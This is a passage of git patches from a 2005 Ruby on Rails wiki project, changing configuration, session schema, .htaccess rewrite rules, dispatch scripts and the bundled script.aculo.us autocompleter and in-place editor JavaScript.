1 insertion(+), 3 deletions(-) diff --git a/config/environment.rb b/config/environment.rb index 4d19868a..19c69a79 100644 --- a/config/environment.rb +++ b/config/environment.rb @@ -16,9 +16,6 @@ Rails::Initializer.run do |config| # Activate observers that should always be running # config.active_record.observers = :cacher, :garbage_collector - # Make Active Record use UTC-base instead of local time - config.active_record.default_timezone = :utc - # Use Active Record's schema dumper instead of SQL when creating the test database # (enables use of different database adapters for development and test environments) config.active_record.schema_format = :ruby diff --git a/test/functional/file_controller_test.rb b/test/functional/file_controller_test.rb index 102ff8d5..24fc2125 100755 --- a/test/functional/file_controller_test.rb +++ b/test/functional/file_controller_test.rb @@ -3,6 +3,7 @@ require File.dirname(__FILE__) + '/../test_helper' require 'file_controller' require 'fileutils' +require 'stringio' # Raise errors beyond the default web-based presentation class FileController; def rescue_action(e) logger.error(e); raise e end; end From 7f8d3adfb5421e0164f4aebf906e6aedf7c3d257 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Wed, 2 Nov 2005 07:34:11 +0000 Subject: [PATCH 405/529] Copied over 0.14.2 ./public contents --- app/controllers/application.rb | 2 - config/environment.rb | 2 +- db/schema.rb | 8 + public/.htaccess | 12 +- public/dispatch.cgi | 18 +- public/dispatch.fcgi | 48 +- public/dispatch.rb | 2 +- public/javascripts/controls.js | 1154 ++++++----- public/javascripts/dragdrop.js | 1053 +++++----- public/javascripts/effects.js | 1713 +++++++++++------ public/javascripts/prototype.js | 2762 +++++++++++++++++---------- public/javascripts/scriptaculous.js | 47 + public/javascripts/slider.js | 258 +++ public/robots.txt | 1 + 14 files changed, 4408 insertions(+), 2672 deletions(-) create mode 100644 public/javascripts/scriptaculous.js create mode 100644 public/javascripts/slider.js create mode 100644 public/robots.txt diff --git a/app/controllers/application.rb b/app/controllers/application.rb index 9306b9c3..9a601b72 100644 --- a/app/controllers/application.rb +++ b/app/controllers/application.rb @@ -5,8 +5,6 @@ class ApplicationController < ActionController::Base before_filter :connect_to_model, :setup_url_generator, :set_content_type_header, :set_robots_metatag after_filter :remember_location, :teardown_url_generator - observer :page_observer - # For injecting a different wiki model implementation. Intended for use in tests def self.wiki=(the_wiki) # a global variable is used here because Rails reloads controller and model classes in the diff --git a/config/environment.rb b/config/environment.rb index 19c69a79..cb7c9b42 100644 --- a/config/environment.rb +++ b/config/environment.rb @@ -14,7 +14,7 @@ Rails::Initializer.run do |config| # config.action_controller.fragment_cache_store = :file_store, "#{RAILS_ROOT}/cache" # Activate observers that should always be running - # config.active_record.observers = :cacher, :garbage_collector + config.active_record.observers = :page_observer # Use Active Record's schema dumper instead of SQL when creating the test database # (enables use of different database adapters for development and test environments) diff --git a/db/schema.rb b/db/schema.rb index 4eb50fdf..1bf4af3a 100644 --- a/db/schema.rb +++ b/db/schema.rb @@ -23,6 +23,14 @@ ActiveRecord::Schema.define() do t.column "ip", :string, :limit => 60 end + create_table "sessions", :force => true do |t| + t.column "session_id", :string + t.column "data", :text + t.column "updated_at", :datetime + end + + add_index "sessions", ["session_id"], :name => "sessions_session_id_index" + create_table "system", :force => true do |t| t.column "password", :string, :limit => 60 end diff --git a/public/.htaccess b/public/.htaccess index 7eb56e8b..d3c99834 100644 --- a/public/.htaccess +++ b/public/.htaccess @@ -18,10 +18,18 @@ Options +FollowSymLinks +ExecCGI # Example: # RewriteRule ^(.*)$ dispatch.fcgi [QSA,L] RewriteEngine On + +# If your Rails application is accessed via an Alias directive, +# then you MUST also set the RewriteBase in this htaccess file. +# +# Example: +# Alias /myrailsapp /path/to/myrailsapp/public +# RewriteBase /myrailsapp + RewriteRule ^$ index.html [QSA] RewriteRule ^([^.]+)$ $1.html [QSA] RewriteCond %{REQUEST_FILENAME} !-f -RewriteRule ^(.*)$ dispatch.fcgi [QSA,L] +RewriteRule ^(.*)$ dispatch.cgi [QSA,L] # In case Rails experiences terminal errors # Instead of displaying this message you can supply a file here which will be rendered instead @@ -29,4 +37,4 @@ RewriteRule ^(.*)$ dispatch.fcgi [QSA,L] # Example: # ErrorDocument 500 /500.html -ErrorDocument 500 "

    Application error

    Rails application failed to start properly" +ErrorDocument 500 "

    Application error

    Rails application failed to start properly" \ No newline at end of file diff --git a/public/dispatch.cgi b/public/dispatch.cgi index ce705d36..d89311e3 100755 --- a/public/dispatch.cgi +++ b/public/dispatch.cgi @@ -1,10 +1,10 @@ -#!/usr/bin/env ruby - -require File.dirname(__FILE__) + "/../config/environment" unless defined?(RAILS_ROOT) - -# If you're using RubyGems and mod_ruby, this require should be changed to an absolute path one, like: -# "/usr/local/lib/ruby/gems/1.8/gems/rails-0.8.0/lib/dispatcher" -- otherwise performance is severely impaired -require "dispatcher" - -ADDITIONAL_LOAD_PATHS.reverse.each { |dir| $:.unshift(dir) if File.directory?(dir) } if defined?(Apache::RubyRun) +#!c:/ruby/bin/ruby + +require File.dirname(__FILE__) + "/../config/environment" unless defined?(RAILS_ROOT) + +# If you're using RubyGems and mod_ruby, this require should be changed to an absolute path one, like: +# "/usr/local/lib/ruby/gems/1.8/gems/rails-0.8.0/lib/dispatcher" -- otherwise performance is severely impaired +require "dispatcher" + +ADDITIONAL_LOAD_PATHS.reverse.each { |dir| $:.unshift(dir) if File.directory?(dir) } if defined?(Apache::RubyRun) Dispatcher.dispatch \ No newline at end of file diff --git a/public/dispatch.fcgi b/public/dispatch.fcgi index 664dbbbe..cc87e0bd 100755 --- a/public/dispatch.fcgi +++ b/public/dispatch.fcgi @@ -1,24 +1,24 @@ -#!/usr/bin/env ruby -# -# You may specify the path to the FastCGI crash log (a log of unhandled -# exceptions which forced the FastCGI instance to exit, great for debugging) -# and the number of requests to process before running garbage collection. -# -# By default, the FastCGI crash log is RAILS_ROOT/log/fastcgi.crash.log -# and the GC period is nil (turned off). A reasonable number of requests -# could range from 10-100 depending on the memory footprint of your app. -# -# Example: -# # Default log path, normal GC behavior. -# RailsFCGIHandler.process! -# -# # Default log path, 50 requests between GC. -# RailsFCGIHandler.process! nil, 50 -# -# # Custom log path, normal GC behavior. -# RailsFCGIHandler.process! '/var/log/myapp_fcgi_crash.log' -# -require File.dirname(__FILE__) + "/../config/environment" -require 'fcgi_handler' - -RailsFCGIHandler.process! +#!c:/ruby/bin/ruby +# +# You may specify the path to the FastCGI crash log (a log of unhandled +# exceptions which forced the FastCGI instance to exit, great for debugging) +# and the number of requests to process before running garbage collection. +# +# By default, the FastCGI crash log is RAILS_ROOT/log/fastcgi.crash.log +# and the GC period is nil (turned off). A reasonable number of requests +# could range from 10-100 depending on the memory footprint of your app. +# +# Example: +# # Default log path, normal GC behavior. +# RailsFCGIHandler.process! +# +# # Default log path, 50 requests between GC. +# RailsFCGIHandler.process! nil, 50 +# +# # Custom log path, normal GC behavior. +# RailsFCGIHandler.process! '/var/log/myapp_fcgi_crash.log' +# +require File.dirname(__FILE__) + "/../config/environment" +require 'fcgi_handler' + +RailsFCGIHandler.process! diff --git a/public/dispatch.rb b/public/dispatch.rb index ce705d36..c584d668 100755 --- a/public/dispatch.rb +++ b/public/dispatch.rb @@ -1,4 +1,4 @@ -#!/usr/bin/env ruby +#!c:/ruby/bin/ruby require File.dirname(__FILE__) + "/../config/environment" unless defined?(RAILS_ROOT) diff --git a/public/javascripts/controls.js b/public/javascripts/controls.js index cece0a91..b9ce4727 100644 --- a/public/javascripts/controls.js +++ b/public/javascripts/controls.js @@ -1,446 +1,708 @@ -// Copyright (c) 2005 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us) -// (c) 2005 Ivan Krstic (http://blogs.law.harvard.edu/ivan) -// -// Permission is hereby granted, free of charge, to any person obtaining -// a copy of this software and associated documentation files (the -// "Software"), to deal in the Software without restriction, including -// without limitation the rights to use, copy, modify, merge, publish, -// distribute, sublicense, and/or sell copies of the Software, and to -// permit persons to whom the Software is furnished to do so, subject to -// the following conditions: -// -// The above copyright notice and this permission notice shall be -// included in all copies or substantial portions of the Software. -// -// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, -// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF -// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND -// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE -// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION -// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION -// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. - -Element.collectTextNodesIgnoreClass = function(element, ignoreclass) { - var children = $(element).childNodes; - var text = ""; - var classtest = new RegExp("^([^ ]+ )*" + ignoreclass+ "( [^ ]+)*$","i"); - - for (var i = 0; i < children.length; i++) { - if(children[i].nodeType==3) { - text+=children[i].nodeValue; - } else { - if((!children[i].className.match(classtest)) && children[i].hasChildNodes()) - text += Element.collectTextNodesIgnoreClass(children[i], ignoreclass); - } - } - - return text; -} - -// Autocompleter.Base handles all the autocompletion functionality -// that's independent of the data source for autocompletion. This -// includes drawing the autocompletion menu, observing keyboard -// and mouse events, and similar. -// -// Specific autocompleters need to provide, at the very least, -// a getUpdatedChoices function that will be invoked every time -// the text inside the monitored textbox changes. This method -// should get the text for which to provide autocompletion by -// invoking this.getEntry(), NOT by directly accessing -// this.element.value. This is to allow incremental tokenized -// autocompletion. Specific auto-completion logic (AJAX, etc) -// belongs in getUpdatedChoices. -// -// Tokenized incremental autocompletion is enabled automatically -// when an autocompleter is instantiated with the 'tokens' option -// in the options parameter, e.g.: -// new Ajax.Autocompleter('id','upd', '/url/', { tokens: ',' }); -// will incrementally autocomplete with a comma as the token. -// Additionally, ',' in the above example can be replaced with -// a token array, e.g. { tokens: new Array (',', '\n') } which -// enables autocompletion on multiple tokens. This is most -// useful when one of the tokens is \n (a newline), as it -// allows smart autocompletion after linebreaks. - -var Autocompleter = {} -Autocompleter.Base = function() {}; -Autocompleter.Base.prototype = { - base_initialize: function(element, update, options) { - this.element = $(element); - this.update = $(update); - this.has_focus = false; - this.changed = false; - this.active = false; - this.index = 0; - this.entry_count = 0; - - if (this.setOptions) - this.setOptions(options); - else - this.options = {} - - this.options.tokens = this.options.tokens || new Array(); - this.options.frequency = this.options.frequency || 0.4; - this.options.min_chars = this.options.min_chars || 1; - this.options.onShow = this.options.onShow || - function(element, update){ - if(!update.style.position || update.style.position=='absolute') { - update.style.position = 'absolute'; - var offsets = Position.cumulativeOffset(element); - update.style.left = offsets[0] + 'px'; - update.style.top = (offsets[1] + element.offsetHeight) + 'px'; - update.style.width = element.offsetWidth + 'px'; - } - new Effect.Appear(update,{duration:0.15}); - }; - this.options.onHide = this.options.onHide || - function(element, update){ new Effect.Fade(update,{duration:0.15}) }; - - if(this.options.indicator) - this.indicator = $(this.options.indicator); - - if (typeof(this.options.tokens) == 'string') - this.options.tokens = new Array(this.options.tokens); - - this.observer = null; - - Element.hide(this.update); - - Event.observe(this.element, "blur", this.onBlur.bindAsEventListener(this)); - Event.observe(this.element, "keypress", this.onKeyPress.bindAsEventListener(this)); - }, - - show: function() { - if(this.update.style.display=='none') this.options.onShow(this.element, this.update); - if(!this.iefix && (navigator.appVersion.indexOf('MSIE')>0) && this.update.style.position=='absolute') { - new Insertion.After(this.update, - ''); - this.iefix = $(this.update.id+'_iefix'); - } - if(this.iefix) { - Position.clone(this.update, this.iefix); - this.iefix.style.zIndex = 1; - this.update.style.zIndex = 2; - Element.show(this.iefix); - } - }, - - hide: function() { - if(this.update.style.display=='') this.options.onHide(this.element, this.update); - if(this.iefix) Element.hide(this.iefix); - }, - - startIndicator: function() { - if(this.indicator) Element.show(this.indicator); - }, - - stopIndicator: function() { - if(this.indicator) Element.hide(this.indicator); - }, - - onKeyPress: function(event) { - if(this.active) - switch(event.keyCode) { - case Event.KEY_TAB: - case Event.KEY_RETURN: - this.select_entry(); - Event.stop(event); - case Event.KEY_ESC: - this.hide(); - this.active = false; - return; - case Event.KEY_LEFT: - case Event.KEY_RIGHT: - return; - case Event.KEY_UP: - this.mark_previous(); - this.render(); - if(navigator.appVersion.indexOf('AppleWebKit')>0) Event.stop(event); - return; - case Event.KEY_DOWN: - this.mark_next(); - this.render(); - if(navigator.appVersion.indexOf('AppleWebKit')>0) Event.stop(event); - return; - } - else - if(event.keyCode==Event.KEY_TAB || event.keyCode==Event.KEY_RETURN) - return; - - this.changed = true; - this.has_focus = true; - - if(this.observer) clearTimeout(this.observer); - this.observer = - setTimeout(this.onObserverEvent.bind(this), this.options.frequency*1000); - }, - - onHover: function(event) { - var element = Event.findElement(event, 'LI'); - if(this.index != element.autocompleteIndex) - { - this.index = element.autocompleteIndex; - this.render(); - } - Event.stop(event); - }, - - onClick: function(event) { - var element = Event.findElement(event, 'LI'); - this.index = element.autocompleteIndex; - this.select_entry(); - Event.stop(event); - }, - - onBlur: function(event) { - // needed to make click events working - setTimeout(this.hide.bind(this), 250); - this.has_focus = false; - this.active = false; - }, - - render: function() { - if(this.entry_count > 0) { - for (var i = 0; i < this.entry_count; i++) - this.index==i ? - Element.addClassName(this.get_entry(i),"selected") : - Element.removeClassName(this.get_entry(i),"selected"); - - if(this.has_focus) { - if(this.get_current_entry().scrollIntoView) - this.get_current_entry().scrollIntoView(false); - - this.show(); - this.active = true; - } - } else this.hide(); - }, - - mark_previous: function() { - if(this.index > 0) this.index-- - else this.index = this.entry_count-1; - }, - - mark_next: function() { - if(this.index < this.entry_count-1) this.index++ - else this.index = 0; - }, - - get_entry: function(index) { - return this.update.firstChild.childNodes[index]; - }, - - get_current_entry: function() { - return this.get_entry(this.index); - }, - - select_entry: function() { - this.active = false; - value = Element.collectTextNodesIgnoreClass(this.get_current_entry(), 'informal').unescapeHTML(); - this.updateElement(value); - this.element.focus(); - }, - - updateElement: function(value) { - var last_token_pos = this.findLastToken(); - if (last_token_pos != -1) { - var new_value = this.element.value.substr(0, last_token_pos + 1); - var whitespace = this.element.value.substr(last_token_pos + 1).match(/^\s+/); - if (whitespace) - new_value += whitespace[0]; - this.element.value = new_value + value; - } else { - this.element.value = value; - } - }, - - updateChoices: function(choices) { - if(!this.changed && this.has_focus) { - this.update.innerHTML = choices; - Element.cleanWhitespace(this.update); - Element.cleanWhitespace(this.update.firstChild); - - if(this.update.firstChild && this.update.firstChild.childNodes) { - this.entry_count = - this.update.firstChild.childNodes.length; - for (var i = 0; i < this.entry_count; i++) { - entry = this.get_entry(i); - entry.autocompleteIndex = i; - this.addObservers(entry); - } - } else { - this.entry_count = 0; - } - - this.stopIndicator(); - - this.index = 0; - this.render(); - } - }, - - addObservers: function(element) { - Event.observe(element, "mouseover", this.onHover.bindAsEventListener(this)); - Event.observe(element, "click", this.onClick.bindAsEventListener(this)); - }, - - onObserverEvent: function() { - this.changed = false; - if(this.getEntry().length>=this.options.min_chars) { - this.startIndicator(); - this.getUpdatedChoices(); - } else { - this.active = false; - this.hide(); - } - }, - - getEntry: function() { - var token_pos = this.findLastToken(); - if (token_pos != -1) - var ret = this.element.value.substr(token_pos + 1).replace(/^\s+/,'').replace(/\s+$/,''); - else - var ret = this.element.value; - - return /\n/.test(ret) ? '' : ret; - }, - - findLastToken: function() { - var last_token_pos = -1; - - for (var i=0; i last_token_pos) - last_token_pos = this_token_pos; - } - return last_token_pos; - } -} - -Ajax.Autocompleter = Class.create(); -Ajax.Autocompleter.prototype = Object.extend(new Autocompleter.Base(), -Object.extend(new Ajax.Base(), { - initialize: function(element, update, url, options) { - this.base_initialize(element, update, options); - this.options.asynchronous = true; - this.options.onComplete = this.onComplete.bind(this) - this.options.method = 'post'; - this.options.defaultParams = this.options.parameters || null; - this.url = url; - }, - - getUpdatedChoices: function() { - entry = encodeURIComponent(this.element.name) + '=' + - encodeURIComponent(this.getEntry()); - - this.options.parameters = this.options.callback ? - this.options.callback(this.element, entry) : entry; - - if(this.options.defaultParams) - this.options.parameters += '&' + this.options.defaultParams; - - new Ajax.Request(this.url, this.options); - }, - - onComplete: function(request) { - this.updateChoices(request.responseText); - } - -})); - -// The local array autocompleter. Used when you'd prefer to -// inject an array of autocompletion options into the page, rather -// than sending out Ajax queries, which can be quite slow sometimes. -// -// The constructor takes four parameters. The first two are, as usual, -// the id of the monitored textbox, and id of the autocompletion menu. -// The third is the array you want to autocomplete from, and the fourth -// is the options block. -// -// Extra local autocompletion options: -// - choices - How many autocompletion choices to offer -// -// - partial_search - If false, the autocompleter will match entered -// text only at the beginning of strings in the -// autocomplete array. Defaults to true, which will -// match text at the beginning of any *word* in the -// strings in the autocomplete array. If you want to -// search anywhere in the string, additionally set -// the option full_search to true (default: off). -// -// - full_search - Search anywhere in autocomplete array strings. -// -// - partial_chars - How many characters to enter before triggering -// a partial match (unlike min_chars, which defines -// how many characters are required to do any match -// at all). Defaults to 2. -// -// - ignore_case - Whether to ignore case when autocompleting. -// Defaults to true. -// -// It's possible to pass in a custom function as the 'selector' -// option, if you prefer to write your own autocompletion logic. -// In that case, the other options above will not apply unless -// you support them. - -Autocompleter.Local = Class.create(); -Autocompleter.Local.prototype = Object.extend(new Autocompleter.Base(), { - initialize: function(element, update, array, options) { - this.base_initialize(element, update, options); - this.options.array = array; - }, - - getUpdatedChoices: function() { - this.updateChoices(this.options.selector(this)); - }, - - setOptions: function(options) { - this.options = Object.extend({ - choices: 10, - partial_search: true, - partial_chars: 2, - ignore_case: true, - full_search: false, - selector: function(instance) { - var ret = new Array(); // Beginning matches - var partial = new Array(); // Inside matches - var entry = instance.getEntry(); - var count = 0; - - for (var i = 0; i < instance.options.array.length && - ret.length < instance.options.choices ; i++) { - var elem = instance.options.array[i]; - var found_pos = instance.options.ignore_case ? - elem.toLowerCase().indexOf(entry.toLowerCase()) : - elem.indexOf(entry); - - while (found_pos != -1) { - if (found_pos == 0 && elem.length != entry.length) { - ret.push("
  • " + elem.substr(0, entry.length) + "" + - elem.substr(entry.length) + "
  • "); - break; - } else if (entry.length >= instance.options.partial_chars && - instance.options.partial_search && found_pos != -1) { - if (instance.options.full_search || /\s/.test(elem.substr(found_pos-1,1))) { - partial.push("
  • " + elem.substr(0, found_pos) + "" + - elem.substr(found_pos, entry.length) + "" + elem.substr( - found_pos + entry.length) + "
  • "); - break; - } - } - - found_pos = instance.options.ignore_case ? - elem.toLowerCase().indexOf(entry.toLowerCase(), found_pos + 1) : - elem.indexOf(entry, found_pos + 1); - - } - } - if (partial.length) - ret = ret.concat(partial.slice(0, instance.options.choices - ret.length)) - return "
      " + ret.join('') + "
    "; - } - }, options || {}); - } -}); +// Copyright (c) 2005 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us) +// (c) 2005 Ivan Krstic (http://blogs.law.harvard.edu/ivan) +// (c) 2005 Jon Tirsen (http://www.tirsen.com) +// Contributors: +// Richard Livsey +// Rahul Bhargava +// Rob Wills +// +// See scriptaculous.js for full license. + +// Autocompleter.Base handles all the autocompletion functionality +// that's independent of the data source for autocompletion. This +// includes drawing the autocompletion menu, observing keyboard +// and mouse events, and similar. +// +// Specific autocompleters need to provide, at the very least, +// a getUpdatedChoices function that will be invoked every time +// the text inside the monitored textbox changes. This method +// should get the text for which to provide autocompletion by +// invoking this.getToken(), NOT by directly accessing +// this.element.value. This is to allow incremental tokenized +// autocompletion. Specific auto-completion logic (AJAX, etc) +// belongs in getUpdatedChoices. +// +// Tokenized incremental autocompletion is enabled automatically +// when an autocompleter is instantiated with the 'tokens' option +// in the options parameter, e.g.: +// new Ajax.Autocompleter('id','upd', '/url/', { tokens: ',' }); +// will incrementally autocomplete with a comma as the token. +// Additionally, ',' in the above example can be replaced with +// a token array, e.g. { tokens: [',', '\n'] } which +// enables autocompletion on multiple tokens. This is most +// useful when one of the tokens is \n (a newline), as it +// allows smart autocompletion after linebreaks. + +var Autocompleter = {} +Autocompleter.Base = function() {}; +Autocompleter.Base.prototype = { + baseInitialize: function(element, update, options) { + this.element = $(element); + this.update = $(update); + this.hasFocus = false; + this.changed = false; + this.active = false; + this.index = 0; + this.entryCount = 0; + + if (this.setOptions) + this.setOptions(options); + else + this.options = options || {}; + + this.options.paramName = this.options.paramName || this.element.name; + this.options.tokens = this.options.tokens || []; + this.options.frequency = this.options.frequency || 0.4; + this.options.minChars = this.options.minChars || 1; + this.options.onShow = this.options.onShow || + function(element, update){ + if(!update.style.position || update.style.position=='absolute') { + update.style.position = 'absolute'; + Position.clone(element, update, {setHeight: false, offsetTop: element.offsetHeight}); + } + Effect.Appear(update,{duration:0.15}); + }; + this.options.onHide = this.options.onHide || + function(element, update){ new Effect.Fade(update,{duration:0.15}) }; + + if (typeof(this.options.tokens) == 'string') + this.options.tokens = new Array(this.options.tokens); + + this.observer = null; + + this.element.setAttribute('autocomplete','off'); + + Element.hide(this.update); + + Event.observe(this.element, "blur", this.onBlur.bindAsEventListener(this)); + Event.observe(this.element, "keypress", this.onKeyPress.bindAsEventListener(this)); + }, + + show: function() { + if(Element.getStyle(this.update, 'display')=='none') this.options.onShow(this.element, this.update); + if(!this.iefix && (navigator.appVersion.indexOf('MSIE')>0) && (Element.getStyle(this.update, 'position')=='absolute')) { + new Insertion.After(this.update, + ''); + this.iefix = $(this.update.id+'_iefix'); + } + if(this.iefix) setTimeout(this.fixIEOverlapping.bind(this), 50); + }, + + fixIEOverlapping: function() { + Position.clone(this.update, this.iefix); + this.iefix.style.zIndex = 1; + this.update.style.zIndex = 2; + Element.show(this.iefix); + }, + + hide: function() { + this.stopIndicator(); + if(Element.getStyle(this.update, 'display')!='none') this.options.onHide(this.element, this.update); + if(this.iefix) Element.hide(this.iefix); + }, + + startIndicator: function() { + if(this.options.indicator) Element.show(this.options.indicator); + }, + + stopIndicator: function() { + if(this.options.indicator) Element.hide(this.options.indicator); + }, + + onKeyPress: function(event) { + if(this.active) + switch(event.keyCode) { + case Event.KEY_TAB: + case Event.KEY_RETURN: + this.selectEntry(); + Event.stop(event); + case Event.KEY_ESC: + this.hide(); + this.active = false; + Event.stop(event); + return; + case Event.KEY_LEFT: + case Event.KEY_RIGHT: + return; + case Event.KEY_UP: + this.markPrevious(); + this.render(); + if(navigator.appVersion.indexOf('AppleWebKit')>0) Event.stop(event); + return; + case Event.KEY_DOWN: + this.markNext(); + this.render(); + if(navigator.appVersion.indexOf('AppleWebKit')>0) Event.stop(event); + return; + } + else + if(event.keyCode==Event.KEY_TAB || event.keyCode==Event.KEY_RETURN) + return; + + this.changed = true; + this.hasFocus = true; + + if(this.observer) clearTimeout(this.observer); + this.observer = + setTimeout(this.onObserverEvent.bind(this), this.options.frequency*1000); + }, + + onHover: function(event) { + var element = Event.findElement(event, 'LI'); + if(this.index != element.autocompleteIndex) + { + this.index = element.autocompleteIndex; + this.render(); + } + Event.stop(event); + }, + + onClick: function(event) { + var element = Event.findElement(event, 'LI'); + this.index = element.autocompleteIndex; + this.selectEntry(); + this.hide(); + }, + + onBlur: function(event) { + // needed to make click events working + setTimeout(this.hide.bind(this), 250); + this.hasFocus = false; + this.active = false; + }, + + render: function() { + if(this.entryCount > 0) { + for (var i = 0; i < this.entryCount; i++) + this.index==i ? + Element.addClassName(this.getEntry(i),"selected") : + Element.removeClassName(this.getEntry(i),"selected"); + + if(this.hasFocus) { + this.show(); + this.active = true; + } + } else this.hide(); + }, + + markPrevious: function() { + if(this.index > 0) this.index-- + else this.index = this.entryCount-1; + }, + + markNext: function() { + if(this.index < this.entryCount-1) this.index++ + else this.index = 0; + }, + + getEntry: function(index) { + return this.update.firstChild.childNodes[index]; + }, + + getCurrentEntry: function() { + return this.getEntry(this.index); + }, + + selectEntry: function() { + this.active = false; + this.updateElement(this.getCurrentEntry()); + }, + + updateElement: function(selectedElement) { + if (this.options.updateElement) { + this.options.updateElement(selectedElement); + return; + } + + var value = Element.collectTextNodesIgnoreClass(selectedElement, 'informal'); + var lastTokenPos = this.findLastToken(); + if (lastTokenPos != -1) { + var newValue = this.element.value.substr(0, lastTokenPos + 1); + var whitespace = this.element.value.substr(lastTokenPos + 1).match(/^\s+/); + if (whitespace) + newValue += whitespace[0]; + this.element.value = newValue + value; + } else { + this.element.value = value; + } + this.element.focus(); + + if (this.options.afterUpdateElement) + this.options.afterUpdateElement(this.element, selectedElement); + }, + + updateChoices: function(choices) { + if(!this.changed && this.hasFocus) { + this.update.innerHTML = choices; + Element.cleanWhitespace(this.update); + Element.cleanWhitespace(this.update.firstChild); + + if(this.update.firstChild && this.update.firstChild.childNodes) { + this.entryCount = + this.update.firstChild.childNodes.length; + for (var i = 0; i < this.entryCount; i++) { + var entry = this.getEntry(i); + entry.autocompleteIndex = i; + this.addObservers(entry); + } + } else { + this.entryCount = 0; + } + + this.stopIndicator(); + + this.index = 0; + this.render(); + } + }, + + addObservers: function(element) { + Event.observe(element, "mouseover", this.onHover.bindAsEventListener(this)); + Event.observe(element, "click", this.onClick.bindAsEventListener(this)); + }, + + onObserverEvent: function() { + this.changed = false; + if(this.getToken().length>=this.options.minChars) { + this.startIndicator(); + this.getUpdatedChoices(); + } else { + this.active = false; + this.hide(); + } + }, + + getToken: function() { + var tokenPos = this.findLastToken(); + if (tokenPos != -1) + var ret = this.element.value.substr(tokenPos + 1).replace(/^\s+/,'').replace(/\s+$/,''); + else + var ret = this.element.value; + + return /\n/.test(ret) ? '' : ret; + }, + + findLastToken: function() { + var lastTokenPos = -1; + + for (var i=0; i lastTokenPos) + lastTokenPos = thisTokenPos; + } + return lastTokenPos; + } +} + +Ajax.Autocompleter = Class.create(); +Object.extend(Object.extend(Ajax.Autocompleter.prototype, Autocompleter.Base.prototype), { + initialize: function(element, update, url, options) { + this.baseInitialize(element, update, options); + this.options.asynchronous = true; + this.options.onComplete = this.onComplete.bind(this); + this.options.defaultParams = this.options.parameters || null; + this.url = url; + }, + + getUpdatedChoices: function() { + entry = encodeURIComponent(this.options.paramName) + '=' + + encodeURIComponent(this.getToken()); + + this.options.parameters = this.options.callback ? + this.options.callback(this.element, entry) : entry; + + if(this.options.defaultParams) + this.options.parameters += '&' + this.options.defaultParams; + + new Ajax.Request(this.url, this.options); + }, + + onComplete: function(request) { + this.updateChoices(request.responseText); + } + +}); + +// The local array autocompleter. Used when you'd prefer to +// inject an array of autocompletion options into the page, rather +// than sending out Ajax queries, which can be quite slow sometimes. +// +// The constructor takes four parameters. The first two are, as usual, +// the id of the monitored textbox, and id of the autocompletion menu. +// The third is the array you want to autocomplete from, and the fourth +// is the options block. +// +// Extra local autocompletion options: +// - choices - How many autocompletion choices to offer +// +// - partialSearch - If false, the autocompleter will match entered +// text only at the beginning of strings in the +// autocomplete array. Defaults to true, which will +// match text at the beginning of any *word* in the +// strings in the autocomplete array. If you want to +// search anywhere in the string, additionally set +// the option fullSearch to true (default: off). +// +// - fullSsearch - Search anywhere in autocomplete array strings. +// +// - partialChars - How many characters to enter before triggering +// a partial match (unlike minChars, which defines +// how many characters are required to do any match +// at all). Defaults to 2. +// +// - ignoreCase - Whether to ignore case when autocompleting. +// Defaults to true. +// +// It's possible to pass in a custom function as the 'selector' +// option, if you prefer to write your own autocompletion logic. +// In that case, the other options above will not apply unless +// you support them. + +Autocompleter.Local = Class.create(); +Autocompleter.Local.prototype = Object.extend(new Autocompleter.Base(), { + initialize: function(element, update, array, options) { + this.baseInitialize(element, update, options); + this.options.array = array; + }, + + getUpdatedChoices: function() { + this.updateChoices(this.options.selector(this)); + }, + + setOptions: function(options) { + this.options = Object.extend({ + choices: 10, + partialSearch: true, + partialChars: 2, + ignoreCase: true, + fullSearch: false, + selector: function(instance) { + var ret = []; // Beginning matches + var partial = []; // Inside matches + var entry = instance.getToken(); + var count = 0; + + for (var i = 0; i < instance.options.array.length && + ret.length < instance.options.choices ; i++) { + + var elem = instance.options.array[i]; + var foundPos = instance.options.ignoreCase ? + elem.toLowerCase().indexOf(entry.toLowerCase()) : + elem.indexOf(entry); + + while (foundPos != -1) { + if (foundPos == 0 && elem.length != entry.length) { + ret.push("
  • " + elem.substr(0, entry.length) + "" + + elem.substr(entry.length) + "
  • "); + break; + } else if (entry.length >= instance.options.partialChars && + instance.options.partialSearch && foundPos != -1) { + if (instance.options.fullSearch || /\s/.test(elem.substr(foundPos-1,1))) { + partial.push("
  • " + elem.substr(0, foundPos) + "" + + elem.substr(foundPos, entry.length) + "" + elem.substr( + foundPos + entry.length) + "
  • "); + break; + } + } + + foundPos = instance.options.ignoreCase ? + elem.toLowerCase().indexOf(entry.toLowerCase(), foundPos + 1) : + elem.indexOf(entry, foundPos + 1); + + } + } + if (partial.length) + ret = ret.concat(partial.slice(0, instance.options.choices - ret.length)) + return "
      " + ret.join('') + "
    "; + } + }, options || {}); + } +}); + +// AJAX in-place editor +// +// see documentation on http://wiki.script.aculo.us/scriptaculous/show/Ajax.InPlaceEditor + +Ajax.InPlaceEditor = Class.create(); +Ajax.InPlaceEditor.defaultHighlightColor = "#FFFF99"; +Ajax.InPlaceEditor.prototype = { + initialize: function(element, url, options) { + this.url = url; + this.element = $(element); + + this.options = Object.extend({ + okText: "ok", + cancelText: "cancel", + savingText: "Saving...", + clickToEditText: "Click to edit", + okText: "ok", + rows: 1, + onComplete: function(transport, element) { + new Effect.Highlight(element, {startcolor: this.options.highlightcolor}); + }, + onFailure: function(transport) { + alert("Error communicating with the server: " + transport.responseText.stripTags()); + }, + callback: function(form) { + return Form.serialize(form); + }, + handleLineBreaks: true, + loadingText: 'Loading...', + savingClassName: 'inplaceeditor-saving', + loadingClassName: 'inplaceeditor-loading', + formClassName: 'inplaceeditor-form', + highlightcolor: Ajax.InPlaceEditor.defaultHighlightColor, + highlightendcolor: "#FFFFFF", + externalControl: null, + ajaxOptions: {} + }, options || {}); + + if(!this.options.formId && this.element.id) { + this.options.formId = this.element.id + 